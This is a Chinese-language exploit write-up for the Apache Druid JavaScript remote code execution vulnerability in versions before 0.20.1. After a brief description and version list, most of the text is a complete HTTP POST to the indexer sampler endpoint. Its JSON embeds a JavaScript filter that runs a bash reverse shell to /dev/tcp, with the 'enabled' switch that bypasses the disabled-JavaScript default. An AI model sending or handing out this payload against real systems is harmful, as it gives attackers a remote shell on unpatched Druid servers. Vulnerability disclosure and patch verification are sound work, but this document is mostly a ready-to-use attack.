1. 漏洞简介
Apache Druid 是用Java编写的面向列的开源分布式数据存储，旨在快速获取大量事件数据，并在数据之上提供低延迟查询。
Apache Druid 默认情况下缺乏授权认证，攻击者可以发送特制请求，利用Druid服务器上进程的特权执行任意代码。
Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中，默认已被禁用。但是，在Druid 0.20.0及更低版本中，经过身份验证的用户发送恶意请求，利用Apache Druid漏洞可以执行任意代码。
2. 影响版本
影响版本：
Apache Druid < 0.20.1
安全版本：
Apache Druid 0.20.1
3. 利用复现
3.1 反弹shell
POST /druid/indexer/v1/sampler HTTP/1.1
Host: xxxxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Content-Length: 1044
Connection: close
{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{"isRobot":true,"channel":"#x","timestamp":"2020-12-12T12:10:21.040Z","flags":"x","isUnpatrolled":false,"page":"1","diffUrl":"https://xxx.com","added":1,"comment":"Botskapande Indonesien omdirigering","commentLength":35,"isNew":true,"isMinor":false,"delta":31,"isAnonymous":true,"user":"Lsjbot","deltaBucket":0,"deleted":0,"namespace":"Main"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/ip/port 0>&1')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}
